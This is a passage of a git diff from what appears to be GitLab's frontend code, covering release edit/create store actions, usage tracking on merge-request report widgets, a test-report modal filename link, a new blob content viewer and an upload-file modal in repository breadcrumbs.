+ createFlash(s__('Release|Something went wrong while getting the release details.'));
+ });
+};
+
+export const updateReleaseTagName = ({ commit }, tagName) =>
+ commit(types.UPDATE_RELEASE_TAG_NAME, tagName);
+
+export const updateCreateFrom = ({ commit }, createFrom) =>
+ commit(types.UPDATE_CREATE_FROM, createFrom);
+
+export const updateReleaseTitle = ({ commit }, title) => commit(types.UPDATE_RELEASE_TITLE, title);
+
+export const updateReleaseNotes = ({ commit }, notes) => commit(types.UPDATE_RELEASE_NOTES, notes);
+
+export const updateReleaseMilestones = ({ commit }, milestones) =>
+ commit(types.UPDATE_RELEASE_MILESTONES, milestones);
+
+export const updateReleaseGroupMilestones = ({ commit }, groupMilestones) =>
+ commit(types.UPDATE_RELEASE_GROUP_MILESTONES, groupMilestones);
+
+export const addEmptyAssetLink = ({ commit }) => {
+ commit(types.ADD_EMPTY_ASSET_LINK);
+};
+
+export const updateAssetLinkUrl = ({ commit }, { linkIdToUpdate, newUrl }) => {
+ commit(types.UPDATE_ASSET_LINK_URL, { linkIdToUpdate, newUrl });
+};
+
+export const updateAssetLinkName = ({ commit }, { linkIdToUpdate, newName }) => {
+ commit(types.UPDATE_ASSET_LINK_NAME, { linkIdToUpdate, newName });
+};
+
+export const updateAssetLinkType = ({ commit }, { linkIdToUpdate, newType }) => {
+ commit(types.UPDATE_ASSET_LINK_TYPE, { linkIdToUpdate, newType });
+};
+
+export const removeAssetLink = ({ commit }, linkIdToRemove) => {
+ commit(types.REMOVE_ASSET_LINK, linkIdToRemove);
+};
+
+export const receiveSaveReleaseSuccess = ({ commit }, release) => {
+ commit(types.RECEIVE_SAVE_RELEASE_SUCCESS);
+ redirectTo(release._links.self);
+};
+
+export const saveRelease = ({ commit, dispatch, getters }) => {
+ commit(types.REQUEST_SAVE_RELEASE);
+
+ dispatch(getters.isExistingRelease ? 'updateRelease' : 'createRelease');
+};
+
+export const createRelease = ({ commit, dispatch, state, getters }) => {
+ const apiJson = releaseToApiJson(
+ {
+ ...state.release,
+ assets: {
+ links: getters.releaseLinksToCreate,
+ },
+ },
+ state.createFrom,
+ );
+
+ return api
+ .createRelease(state.projectId, apiJson)
+ .then(({ data }) => {
+ dispatch('receiveSaveReleaseSuccess', apiJsonToRelease(data));
+ })
+ .catch((error) => {
+ commit(types.RECEIVE_SAVE_RELEASE_ERROR, error);
+ createFlash(s__('Release|Something went wrong while creating a new release'));
+ });
+};
+
+export const updateRelease = ({ commit, dispatch, state, getters }) => {
+ const apiJson = releaseToApiJson({
+ ...state.release,
+ assets: {
+ links: getters.releaseLinksToCreate,
+ },
+ });
+
+ let updatedRelease = null;
+
+ return (
+ api
+ .updateRelease(state.projectId, state.tagName, apiJson)
+
+ /**
+ * Currently, we delete all existing links and then
+ * recreate new ones on each edit. This is because the
+ * REST API doesn't support bulk updating of Release links,
+ * and updating individual links can lead to validation
+ * race conditions (in particular, the "URLs must be unique")
+ * constraint.
+ *
+ * This isn't ideal since this is no longer an atomic
+ * operation - parts of it can fail while others succeed,
+ * leaving the Release in an inconsistent state.
+ *
+ * This logic should be refactored to use GraphQL once
+ * https://gitlab.com/gitlab-org/gitlab/-/issues/208702
+ * is closed.
+ */
+ .then(({ data }) => {
+ // Save this response since we need it later in the Promise chain
+ updatedRelease = data;
+
+ // Delete all links currently associated with this Release
+ return Promise.all(
+ getters.releaseLinksToDelete.map((l) =>
+ api.deleteReleaseLink(state.projectId, state.release.tagName, l.id),
+ ),
+ );
+ })
+ .then(() => {
+ // Create a new link for each link in the form
+ return Promise.all(
+ apiJson.assets.links.map((l) =>
+ api.createReleaseLink(state.projectId, state.release.tagName, l),
+ ),
+ );
+ })
+ .then(() => {
+ dispatch('receiveSaveReleaseSuccess', apiJsonToRelease(updatedRelease));
+ })
+ .catch((error) => {
+ commit(types.RECEIVE_SAVE_RELEASE_ERROR, error);
+ createFlash(s__('Release|Something went wrong while saving the release details'));
+ })
+ );
+};
diff --git a/app/assets/javascripts/releases/stores/modules/detail/getters.js b/app/assets/javascripts/releases/stores/modules/edit_new/getters.js
index 831037c8861..831037c8861 100644
--- a/app/assets/javascripts/releases/stores/modules/detail/getters.js
+++ b/app/assets/javascripts/releases/stores/modules/edit_new/getters.js
diff --git a/app/assets/javascripts/releases/stores/modules/detail/index.js b/app/assets/javascripts/releases/stores/modules/edit_new/index.js
index e1b7e69accc..e1b7e69accc 100644
--- a/app/assets/javascripts/releases/stores/modules/detail/index.js
+++ b/app/assets/javascripts/releases/stores/modules/edit_new/index.js
diff --git a/app/assets/javascripts/releases/stores/modules/detail/mutation_types.js b/app/assets/javascripts/releases/stores/modules/edit_new/mutation_types.js
index 1b2f5f33f02..1b2f5f33f02 100644
--- a/app/assets/javascripts/releases/stores/modules/detail/mutation_types.js
+++ b/app/assets/javascripts/releases/stores/modules/edit_new/mutation_types.js
diff --git a/app/assets/javascripts/releases/stores/modules/detail/mutations.js b/app/assets/javascripts/releases/stores/modules/edit_new/mutations.js
index cf282f9ab2c..cf282f9ab2c 100644
--- a/app/assets/javascripts/releases/stores/modules/detail/mutations.js
+++ b/app/assets/javascripts/releases/stores/modules/edit_new/mutations.js
diff --git a/app/assets/javascripts/releases/stores/modules/detail/state.js b/app/assets/javascripts/releases/stores/modules/edit_new/state.js
index 315d07ac664..315d07ac664 100644
--- a/app/assets/javascripts/releases/stores/modules/detail/state.js
+++ b/app/assets/javascripts/releases/stores/modules/edit_new/state.js
diff --git a/app/assets/javascripts/releases/stores/modules/list/actions.js b/app/assets/javascripts/releases/stores/modules/index/actions.js
index f1add54626a..f1add54626a 100644
--- a/app/assets/javascripts/releases/stores/modules/list/actions.js
+++ b/app/assets/javascripts/releases/stores/modules/index/actions.js
diff --git a/app/assets/javascripts/releases/stores/modules/list/index.js b/app/assets/javascripts/releases/stores/modules/index/index.js
index d5ca191153a..d5ca191153a 100644
--- a/app/assets/javascripts/releases/stores/modules/list/index.js
+++ b/app/assets/javascripts/releases/stores/modules/index/index.js
diff --git a/app/assets/javascripts/releases/stores/modules/list/mutation_types.js b/app/assets/javascripts/releases/stores/modules/index/mutation_types.js
index 669168efb88..669168efb88 100644
--- a/app/assets/javascripts/releases/stores/modules/list/mutation_types.js
+++ b/app/assets/javascripts/releases/stores/modules/index/mutation_types.js
diff --git a/app/assets/javascripts/releases/stores/modules/list/mutations.js b/app/assets/javascripts/releases/stores/modules/index/mutations.js
index e1aaa2e2a19..e1aaa2e2a19 100644
--- a/app/assets/javascripts/releases/stores/modules/list/mutations.js
+++ b/app/assets/javascripts/releases/stores/modules/index/mutations.js
diff --git a/app/assets/javascripts/releases/stores/modules/list/state.js b/app/assets/javascripts/releases/stores/modules/index/state.js
index 164a496d450..164a496d450 100644
--- a/app/assets/javascripts/releases/stores/modules/list/state.js
+++ b/app/assets/javascripts/releases/stores/modules/index/state.js
diff --git a/app/assets/javascripts/reports/accessibility_report/grouped_accessibility_reports_app.vue b/app/assets/javascripts/reports/accessibility_report/grouped_accessibility_reports_app.vue
index c272e3b1dc4..99cdeae545e 100644
--- a/app/assets/javascripts/reports/accessibility_report/grouped_accessibility_reports_app.vue
+++ b/app/assets/javascripts/reports/accessibility_report/grouped_accessibility_reports_app.vue
@@ -46,6 +46,7 @@ export default {
:loading-text="groupedSummaryText"
:error-text="groupedSummaryText"
:has-issues="shouldRenderIssuesList"
+ track-action="users_expanding_testing_accessibility_report"
class="mr-widget-section grouped-security-reports mr-report"
>
<template #body>
diff --git a/app/assets/javascripts/reports/codequality_report/grouped_codequality_reports_app.vue b/app/assets/javascripts/reports/codequality_report/grouped_codequality_reports_app.vue
index 654508f0736..d293165ef2f 100644
--- a/app/assets/javascripts/reports/codequality_report/grouped_codequality_reports_app.vue
+++ b/app/assets/javascripts/reports/codequality_report/grouped_codequality_reports_app.vue
@@ -62,7 +62,7 @@ export default {
helpPath: this.codequalityHelpPath,
});
- this.fetchReports(this.glFeatures.codequalityBackendComparison);
+ this.fetchReports();
},
methods: {
...mapActions(['fetchReports', 'setPaths']),
@@ -87,6 +87,7 @@ export default {
:component="$options.componentNames.CodequalityIssueBody"
:popover-options="codequalityPopover"
:show-report-section-status-icon="false"
+ track-action="users_expanding_testing_code_quality_report"
class="js-codequality-widget mr-widget-border-top mr-report"
>
<template v-if="hasError" #sub-heading>{{ statusReason }}</template>
diff --git a/app/assets/javascripts/reports/components/grouped_issues_list.vue b/app/assets/javascripts/reports/components/grouped_issues_list.vue
index 585127f901e..ca369022938 100644
--- a/app/assets/javascripts/reports/components/grouped_issues_list.vue
+++ b/app/assets/javascripts/reports/components/grouped_issues_list.vue
@@ -66,8 +66,8 @@ export default {
},
listClasses() {
return {
- 'gl-pl-7': this.nestedLevel === 1,
- 'gl-pl-9': this.nestedLevel === 2,
+ 'gl-pl-9': this.nestedLevel === 1,
+ 'gl-pl-11-5': this.nestedLevel === 2,
};
},
},
diff --git a/app/assets/javascripts/reports/components/issues_list.vue b/app/assets/javascripts/reports/components/issues_list.vue
index ea3f0d78d8c..9df0a1953b6 100644
--- a/app/assets/javascripts/reports/components/issues_list.vue
+++ b/app/assets/javascripts/reports/components/issues_list.vue
@@ -88,8 +88,8 @@ export default {
},
listClasses() {
return {
- 'gl-pl-7': this.nestedLevel === 1,
- 'gl-pl-8': this.nestedLevel === 2,
+ 'gl-pl-9': this.nestedLevel === 1,
+ 'gl-pl-11-5': this.nestedLevel === 2,
};
},
},
diff --git a/app/assets/javascripts/reports/components/report_section.vue b/app/assets/javascripts/reports/components/report_section.vue
index ff58cd20ca1..12b5cb9f207 100644
--- a/app/assets/javascripts/reports/components/report_section.vue
+++ b/app/assets/javascripts/reports/components/report_section.vue
@@ -1,17 +1,22 @@
<script>
+import { GlButton } from '@gitlab/ui';
+import api from '~/api';
import { __ } from '~/locale';
import StatusIcon from '~/vue_merge_request_widget/components/mr_widget_status_icon.vue';
import Popover from '~/vue_shared/components/help_popover.vue';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { status, SLOT_SUCCESS, SLOT_LOADING, SLOT_ERROR } from '../constants';
import IssuesList from './issues_list.vue';
export default {
name: 'ReportSection',
components: {
+ GlButton,
IssuesList,
- StatusIcon,
Popover,
+ StatusIcon,
},
+ mixins: [glFeatureFlagsMixin()],
props: {
alwaysOpen: {
type: Boolean,
@@ -96,6 +101,11 @@ export default {
required: false,
default: false,
},
+ trackAction: {
+ type: String,
+ required: false,
+ default: null,
+ },
},
data() {
@@ -162,6 +172,10 @@ export default {
},
methods: {
toggleCollapsed() {
+ if (this.trackAction && this.glFeatures.usersExpandingWidgetsUsageData) {
+ api.trackRedisHllUserEvent(this.trackAction);
+ }
+
if (this.shouldEmitToggleEvent) {
this.$emit('toggleEvent');
}
@@ -186,16 +200,15 @@ export default {
<slot name="action-buttons" :is-collapsible="isCollapsible"></slot>
- <button
+ <gl-button
v-if="isCollapsible"
- type="button"
+ class="js-collapse-btn"
data-testid="report-section-expand-button"
- class="js-collapse-btn btn float-right btn-sm align-self-center"
data-qa-selector="expand_report_button"
@click="toggleCollapsed"
>
{{ collapseText }}
- </button>
+ </gl-button>
</div>
</div>
diff --git a/app/assets/javascripts/reports/components/summary_row.vue b/app/assets/javascripts/reports/components/summary_row.vue
index 8eb43bcf1ba..6b7d81c4878 100644
--- a/app/assets/javascripts/reports/components/summary_row.vue
+++ b/app/assets/javascripts/reports/components/summary_row.vue
@@ -51,7 +51,7 @@ export default {
if (!this.nestedSummary) {
return ['gl-px-5'];
}
- return ['gl-pl-7', 'gl-pr-5', { 'gl-bg-gray-10': this.statusIcon === ICON_WARNING }];
+ return ['gl-pl-9', 'gl-pr-5', { 'gl-bg-gray-10': this.statusIcon === ICON_WARNING }];
},
statusIconSize() {
if (!this.nestedSummary) {
diff --git a/app/assets/javascripts/reports/constants.js b/app/assets/javascripts/reports/constants.js
index 9250bfd7678..acd90ebf1b1 100644
--- a/app/assets/javascripts/reports/constants.js
+++ b/app/assets/javascripts/reports/constants.js
@@ -1,5 +1,5 @@
export const fieldTypes = {
- codeBock: 'codeBlock',
+ codeBlock: 'codeBlock',
link: 'link',
seconds: 'seconds',
text: 'text',
diff --git a/app/assets/javascripts/reports/grouped_test_report/components/modal.vue b/app/assets/javascripts/reports/grouped_test_report/components/modal.vue
index b0310fd003e..af93e5bc639 100644
--- a/app/assets/javascripts/reports/grouped_test_report/components/modal.vue
+++ b/app/assets/javascripts/reports/grouped_test_report/components/modal.vue
@@ -25,6 +25,14 @@ export default {
required: true,
},
},
+ computed: {
+ filteredModalData() {
+ // Filter out the properties that don't have a value
+ return Object.fromEntries(
+ Object.entries(this.modalData).filter((data) => Boolean(data[1].value)),
+ );
+ },
+ },
fieldTypes,
};
</script>
@@ -36,23 +44,18 @@ export default {
:hide-footer="true"
@hide="$emit('hide')"
>
- <div
- v-for="(field, key, index) in modalData"
- v-if="field.value"
- :key="index"
- class="row gl-mt-3 gl-mb-3"
- >
+ <div v-for="(field, key, index) in filteredModalData" :key="index" class="row gl-mt-3 gl-mb-3">
<strong class="col-sm-3 text-right"> {{ field.text }}: </strong>
<div class="col-sm-9 text-secondary">
- <code-block v-if="field.type === $options.fieldTypes.codeBock" :code="field.value" />
+ <code-block v-if="field.type === $options.fieldTypes.codeBlock" :code="field.value" />
<gl-link
v-else-if="field.type === $options.fieldTypes.link"
- :href="field.value"
+ :href="field.value.path"
target="_blank"
>
- {{ field.value }}
+ {{ field.value.text }}
</gl-link>
<gl-sprintf
diff --git a/app/assets/javascripts/reports/grouped_test_report/components/test_issue_body.vue b/app/assets/javascripts/reports/grouped_test_report/components/test_issue_body.vue
index 522245a442d..8913046d62f 100644
--- a/app/assets/javascripts/reports/grouped_test_report/components/test_issue_body.vue
+++ b/app/assets/javascripts/reports/grouped_test_report/components/test_issue_body.vue
@@ -24,7 +24,7 @@ export default {
n__(
'Reports|Failed %{count} time in %{base_branch} in the last 14 days',
'Reports|Failed %{count} times in %{base_branch} in the last 14 days',
- this.issue.recent_failures.count,
+ this.issue.recent_failures?.count,
),
this.issue.recent_failures,
);
@@ -44,20 +44,20 @@ export default {
<template>
<div class="gl-display-flex gl-mt-2 gl-mb-2">
<issue-status-icon :status="status" :status-icon-size="24" class="gl-mr-3" />
- <gl-badge
- v-if="showRecentFailures"
- variant="warning"
- class="gl-mr-2"
- data-testid="test-issue-body-recent-failures"
- >
- {{ recentFailureMessage }}
- </gl-badge>
<gl-button
button-text-classes="gl-white-space-normal! gl-word-break-all gl-text-left"
variant="link"
data-testid="test-issue-body-description"
@click="openModal({ issue })"
>
+ <gl-badge
+ v-if="showRecentFailures"
+ variant="warning"
+ class="gl-mr-2"
+ data-testid="test-issue-body-recent-failures"
+ >
+ {{ recentFailureMessage }}
+ </gl-badge>
{{ issue.name }}
</gl-button>
</div>
diff --git a/app/assets/javascripts/reports/grouped_test_report/grouped_test_reports_app.vue b/app/assets/javascripts/reports/grouped_test_report/grouped_test_reports_app.vue
index b863e55ae94..82806793401 100644
--- a/app/assets/javascripts/reports/grouped_test_report/grouped_test_reports_app.vue
+++ b/app/assets/javascripts/reports/grouped_test_report/grouped_test_reports_app.vue
@@ -1,9 +1,9 @@
<script>
import { GlButton, GlIcon } from '@gitlab/ui';
-import { once } from 'lodash';
import { mapActions, mapGetters, mapState } from 'vuex';
+import api from '~/api';
import { sprintf, s__ } from '~/locale';
-import Tracking from '~/tracking';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import GroupedIssuesList from '../components/grouped_issues_list.vue';
import { componentNames } from '../components/issue_body';
import ReportSection from '../components/report_section.vue';
@@ -28,7 +28,7 @@ export default {
GlButton,
GlIcon,
},
- mixins: [Tracking.mixin()],
+ mixins: [glFeatureFlagsMixin()],
props: {
endpoint: {
type: String,
@@ -39,6 +39,10 @@ export default {
required: false,
default: '',
},
+ headBlobPath: {
+ type: String,
+ required: true,
+ },
},
componentNames,
computed: {
@@ -66,19 +70,22 @@ export default {
showViewFullReport() {
return this.pipelinePath.length;
},
- handleToggleEvent() {
- return once(() => {
- this.track(this.$options.expandEvent);
- });
- },
},
created() {
- this.setEndpoint(this.endpoint);
+ this.setPaths({
+ endpoint: this.endpoint,
+ headBlobPath: this.headBlobPath,
+ });
this.fetchReports();
},
methods: {
- ...mapActions(['setEndpoint', 'fetchReports', 'closeModal']),
+ ...mapActions(['setPaths', 'fetchReports', 'closeModal']),
+ handleToggleEvent() {
+ if (this.glFeatures.usageDataITestingSummaryWidgetTotal) {
+ api.trackRedisHllUserEvent(this.$options.expandEvent);
+ }
+ },
reportText(report) {
const { name, summary } = report || {};
@@ -123,7 +130,7 @@ export default {
return report.resolved_failures.concat(report.resolved_errors);
},
},
- expandEvent: 'expand_test_report_widget',
+ expandEvent: 'i_testing_summary_widget_total',
};
</script>
<template>
@@ -135,7 +142,7 @@ export default {
:has-issues="reports.length > 0"
:should-emit-toggle-event="true"
class="mr-widget-section grouped-security-reports mr-report"
- @toggleEvent="handleToggleEvent"
+ @toggleEvent.once="handleToggleEvent"
>
<template v-if="showViewFullReport" #action-buttons>
<gl-button
diff --git a/app/assets/javascripts/reports/grouped_test_report/store/actions.js b/app/assets/javascripts/reports/grouped_test_report/store/actions.js
index ebc8c735b03..e3db57ad846 100644
--- a/app/assets/javascripts/reports/grouped_test_report/store/actions.js
+++ b/app/assets/javascripts/reports/grouped_test_report/store/actions.js
@@ -4,7 +4,7 @@ import httpStatusCodes from '../../../lib/utils/http_status';
import Poll from '../../../lib/utils/poll';
import * as types from './mutation_types';
-export const setEndpoint = ({ commit }, endpoint) => commit(types.SET_ENDPOINT, endpoint);
+export const setPaths = ({ commit }, paths) => commit(types.SET_PATHS, paths);
export const requestReports = ({ commit }) => commit(types.REQUEST_REPORTS);
diff --git a/app/assets/javascripts/reports/grouped_test_report/store/mutation_types.js b/app/assets/javascripts/reports/grouped_test_report/store/mutation_types.js
index 337085f9bf0..ff839c564b6 100644
--- a/app/assets/javascripts/reports/grouped_test_report/store/mutation_types.js
+++ b/app/assets/javascripts/reports/grouped_test_report/store/mutation_types.js
@@ -1,4 +1,4 @@
-export const SET_ENDPOINT = 'SET_ENDPOINT';
+export const SET_PATHS = 'SET_PATHS';
export const REQUEST_REPORTS = 'REQUEST_REPORTS';
export const RECEIVE_REPORTS_SUCCESS = 'RECEIVE_REPORTS_SUCCESS';
diff --git a/app/assets/javascripts/reports/grouped_test_report/store/mutations.js b/app/assets/javascripts/reports/grouped_test_report/store/mutations.js
index 3bb31d71d8f..2b88776815b 100644
--- a/app/assets/javascripts/reports/grouped_test_report/store/mutations.js
+++ b/app/assets/javascripts/reports/grouped_test_report/store/mutations.js
@@ -1,9 +1,10 @@
import * as types from './mutation_types';
-import { countRecentlyFailedTests } from './utils';
+import { countRecentlyFailedTests, formatFilePath } from './utils';
export default {
- [types.SET_ENDPOINT](state, endpoint) {
+ [types.SET_PATHS](state, { endpoint, headBlobPath }) {
state.endpoint = endpoint;
+ state.headBlobPath = headBlobPath;
},
[types.REQUEST_REPORTS](state) {
state.isLoading = true;
@@ -42,17 +43,25 @@ export default {
state.status = null;
},
[types.SET_ISSUE_MODAL_DATA](state, payload) {
- state.modal.title = payload.issue.name;
+ const { issue } = payload;
+ state.modal.title = issue.name;
- Object.keys(payload.issue).forEach((key) => {
+ Object.keys(issue).forEach((key) => {
if (Object.prototype.hasOwnProperty.call(state.modal.data, key)) {
state.modal.data[key] = {
...state.modal.data[key],
- value: payload.issue[key],
+ value: issue[key],
};
}
});
+ if (issue.file) {
+ state.modal.data.filename.value = {
+ text: issue.file,
+ path: `${state.headBlobPath}/${formatFilePath(issue.file)}`,
+ };
+ }
+
state.modal.open = true;
},
[types.RESET_ISSUE_MODAL_DATA](state) {
diff --git a/app/assets/javascripts/reports/grouped_test_report/store/state.js b/app/assets/javascripts/reports/grouped_test_report/store/state.js
index dd55c7abab4..46909bde337 100644
--- a/app/assets/javascripts/reports/grouped_test_report/store/state.js
+++ b/app/assets/javascripts/reports/grouped_test_report/store/state.js
@@ -41,16 +41,16 @@ export default () => ({
open: false,
data: {
- class: {
- value: null,
- text: s__('Reports|Class'),
- type: fieldTypes.link,
- },
classname: {
value: null,
text: s__('Reports|Classname'),
type: fieldTypes.text,
},
+ filename: {
+ value: null,
+ text: s__('Reports|Filename'),
+ type: fieldTypes.link,
+ },
execution_time: {
value: null,
text: s__('Reports|Execution time'),
@@ -59,12 +59,12 @@ export default () => ({
failure: {
value: null,
text: s__('Reports|Failure'),
- type: fieldTypes.codeBock,
+ type: fieldTypes.codeBlock,
},
system_output: {
value: null,
text: s__('Reports|System output'),
- type: fieldTypes.codeBock,
+ type: fieldTypes.codeBlock,
},
},
},
diff --git a/app/assets/javascripts/reports/grouped_test_report/store/utils.js b/app/assets/javascripts/reports/grouped_test_report/store/utils.js
index 189b87bfa8d..df5dd73b66c 100644
--- a/app/assets/javascripts/reports/grouped_test_report/store/utils.js
+++ b/app/assets/javascripts/reports/grouped_test_report/store/utils.js
@@ -100,3 +100,12 @@ export const statusIcon = (status) => {
return ICON_NOTFOUND;
};
+
+/**
+ * Removes `./` from the beginning of a file path so it can be appended onto a blob path
+ * @param {String} file
+ * @returns {String} - formatted value
+ */
+export const formatFilePath = (file) => {
+ return file.replace(/^\.?\/*/, '');
+};
diff --git a/app/assets/javascripts/repository/components/blob_content_viewer.vue b/app/assets/javascripts/repository/components/blob_content_viewer.vue
new file mode 100644
index 00000000000..58b42fb7859
--- /dev/null
+++ b/app/assets/javascripts/repository/components/blob_content_viewer.vue
@@ -0,0 +1,100 @@
+<script>
+import { GlLoadingIcon } from '@gitlab/ui';
+import { uniqueId } from 'lodash';
+import BlobContent from '~/blob/components/blob_content.vue';
+import BlobHeader from '~/blob/components/blob_header.vue';
+import createFlash from '~/flash';
+import { __ } from '~/locale';
+import blobInfoQuery from '../queries/blob_info.query.graphql';
+import projectPathQuery from '../queries/project_path.query.graphql';
+
+export default {
+ components: {
+ BlobHeader,
+ BlobContent,
+ GlLoadingIcon,
+ },
+ apollo: {
+ projectPath: {
+ query: projectPathQuery,
+ },
+ blobInfo: {
+ query: blobInfoQuery,
+ variables() {
+ return {
+ projectPath: this.projectPath,
+ filePath: this.path,
+ };
+ },
+ error() {
+ createFlash({ message: __('An error occurred while loading the file. Please try again.') });
+ },
+ },
+ },
+ provide() {
+ return {
+ blobHash: uniqueId(),
+ };
+ },
+ props: {
+ path: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ projectPath: '',
+ blobInfo: {
+ name: '',
+ size: '',
+ rawBlob: '',
+ type: '',
+ fileType: '',
+ tooLarge: false,
+ path: '',
+ editBlobPath: '',
+ ideEditPath: '',
+ storedExternally: false,
+ rawPath: '',
+ externalStorageUrl: '',
+ replacePath: '',
+ deletePath: '',
+ canLock: false,
+ isLocked: false,
+ lockLink: '',
+ canModifyBlob: true,
+ forkPath: '',
+ simpleViewer: '',
+ richViewer: '',
+ },
+ };
+ },
+ computed: {
+ isLoading() {
+ return this.$apollo.queries.blobInfo.loading;
+ },
+ viewer() {
+ const { fileType, tooLarge, type } = this.blobInfo;
+
+ return { fileType, tooLarge, type };
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-loading-icon v-if="isLoading" />
+ <div v-if="blobInfo && !isLoading">
+ <blob-header :blob="blobInfo" />
+ <blob-content
+ :blob="blobInfo"
+ :content="blobInfo.rawBlob"
+ :is-raw-content="true"
+ :active-viewer="viewer"
+ :loading="false"
+ />
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/repository/components/breadcrumbs.vue b/app/assets/javascripts/repository/components/breadcrumbs.vue
index 28d7dec85f4..0b8408643ac 100644
--- a/app/assets/javascripts/repository/components/breadcrumbs.vue
+++ b/app/assets/javascripts/repository/components/breadcrumbs.vue
@@ -5,6 +5,7 @@ import {
GlDropdownSectionHeader,
GlDropdownItem,
GlIcon,
+ GlModalDirective,
} from '@gitlab/ui';
import permissionsQuery from 'shared_queries/repository/permissions.query.graphql';
import { joinPaths, escapeFileUrl } from '~/lib/utils/url_utility';
@@ -12,12 +13,15 @@ import { __ } from '../../locale';
import getRefMixin from '../mixins/get_ref';
import projectPathQuery from '../queries/project_path.query.graphql';
import projectShortPathQuery from '../queries/project_short_path.query.graphql';
+import UploadBlobModal from './upload_blob_modal.vue';
const ROW_TYPES = {
header: 'header',
divider: 'divider',
};
+const UPLOAD_BLOB_MODAL_ID = 'modal-upload-blob';
+
export default {
components: {
GlDropdown,
@@ -25,6 +29,7 @@ export default {
GlDropdownSectionHeader,
GlDropdownItem,
GlIcon,
+ UploadBlobModal,
},
apollo: {
projectShortPath: {
@@ -46,6 +51,9 @@ export default {
},
},
},
+ directives: {
+ GlModal: GlModalDirective,
+ },
mixins: [getRefMixin],
props: {
currentPath: {
@@ -63,6 +71,21 @@ export default {
required: false,
default: false,
},
+ canPushCode: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ selectedBranch: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ originalBranch: {
+ type: String,
+ required: false,
+ default: '',
+ },
newBranchPath: {
type: String,
required: false,
@@ -93,7 +116,13 @@ export default {
required: false,
default: null,
},
+ uploadPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
},
+ uploadBlobModalId: UPLOAD_BLOB_MODAL_ID,
data() {
return {
projectShortPath: '',
@@ -126,7 +155,10 @@ export default {
);
},
canCreateMrFromFork() {
- return this.userPermissions.forkProject && this.userPermissions.createMergeRequestIn;
+ return this.userPermissions?.forkProject && this.userPermissions?.createMergeRequestIn;
+ },
+ showUploadModal() {
+ return this.canEditTree && !this.$apollo.queries.userPermissions.loading;
},
dropdownItems() {
const items = [];
@@ -149,10 +181,9 @@ export default {
{
attrs: {
href: '#modal-upload-blob',
- 'data-target': '#modal-upload-blob',
- 'data-toggle': 'modal',
},
text: __('Upload file'),
+ modalId: UPLOAD_BLOB_MODAL_ID,
},
{
attrs: {
@@ -253,12 +284,26 @@ export default {
<gl-icon name="chevron-down" :size="16" class="float-left" />
</template>
<template v-for="(item, i) in dropdownItems">
- <component :is="getComponent(item.type)" :key="i" v-bind="item.attrs">
+ <component
+ :is="getComponent(item.type)"
+ :key="i"
+ v-bind="item.attrs"
+ v-gl-modal="item.modalId || null"
+ >
{{ item.text }}
</component>
</template>
</gl-dropdown>
</li>
</ol>
+ <upload-blob-modal
+ v-if="showUploadModal"
+ :modal-id="$options.uploadBlobModalId"
+ :commit-message="__('Upload New File')"
+ :target-branch="selectedBranch"
+ :original-branch="originalBranch"
+ :can-push-code="canPushCode"
+ :path="uploadPath"
+ />
</nav>
</template>
diff --git a/app/assets/javascripts/repository/components/directory_download_links.vue b/app/assets/javascripts/repository/components/directory_download_links.vue
index 8c029fc9973..c222a83300d 100644
--- a/app/assets/javascripts/repository/components/directory_download_links.vue
+++ b/app/assets/javascripts/repository/components/directory_download_links.vue
@@ -1,9 +1,9 @@
<script>
-import { GlLink } from '@gitlab/ui';
+import { GlButton } from '@gitlab/ui';
export default {
components: {
- GlLink,
+ GlButton,
},
props: {
currentPath: {
@@ -32,15 +32,15 @@ export default {
<h5 class="m-0 dropdown-bold-header">{{ __('Download this directory') }}</h5>
<div class="dropdown-menu-content">
<div class="btn-group ml-0 w-100">
- <gl-link
+ <gl-button
v-for="(link, index) in normalizedLinks"
:key="index"
:href="link.path"
- :class="{ 'btn-primary': index === 0 }"
- class="btn btn-xs"
+ :variant="index === 0 ? 'confirm' : 'default'"
+ size="small"
>
{{ link.text }}
- </gl-link>
+ </gl-button>
</div>
</div>
</section>
diff --git a/app/assets/javascripts/repository/components/table/row.vue b/app/assets/javascripts/repository/components/table/row.vue
index 70918dd55e4..8ea5fce92fa 100644
--- a/app/assets/javascripts/repository/components/table/row.vue
+++ b/app/assets/javascripts/repository/components/table/row.vue
@@ -12,6 +12,7 @@ import { escapeRegExp } from 'lodash';
import { escapeFileUrl } from '~/lib/utils/url_utility';
import FileIcon from '~/vue_shared/components/file_icon.vue';
import TimeagoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import getRefMixin from '../../mixins/get_ref';
import commitQuery from '../../queries/commit.query.graphql';
@@ -41,7 +42,7 @@ export default {
},
},
},
- mixins: [getRefMixin],
+ mixins: [getRefMixin, glFeatureFlagMixin()],
props: {
id: {
type: String,
@@ -103,10 +104,21 @@ export default {
};
},
computed: {
+ refactorBlobViewerEnabled() {
+ return this.glFeatures.refactorBlobViewer;
+ },
routerLinkTo() {
- return this.isFolder
- ? { path: `/-/tree/${this.escapedRef}/${escapeFileUrl(this.path)}` }
- : null;
+ const blobRouteConfig = { path: `/-/blob/${this.escapedRef}/${escapeFileUrl(this.path)}` };
+ const treeRouteConfig = { path: `/-/tree/${this.escapedRef}/${escapeFileUrl(this.path)}` };
+
+ if (this.refactorBlobViewerEnabled && this.isBlob) {
+ return blobRouteConfig;
+ }
+
+ return this.isFolder ? treeRouteConfig : null;
+ },
+ isBlob() {
+ return this.type === 'blob';
},
isFolder() {
return this.type === 'tree';
@@ -115,7 +127,7 @@ export default {
return this.type === 'commit';
},
linkComponent() {
- return this.isFolder ? 'router-link' : 'a';
+ return this.isFolder || (this.refactorBlobViewerEnabled && this.isBlob) ? 'router-link' : 'a';
},
fullPath() {
return this.path.replace(new RegExp(`^${escapeRegExp(this.currentPath)}/`), '');
diff --git a/app/assets/javascripts/repository/components/tree_action_link.vue b/app/assets/javascripts/repository/components/tree_action_link.vue
deleted file mode 100644
index c5ab150adaf..00000000000
--- a/app/assets/javascripts/repository/components/tree_action_link.vue
+++ /dev/null
@@ -1,28 +0,0 @@
-<script>
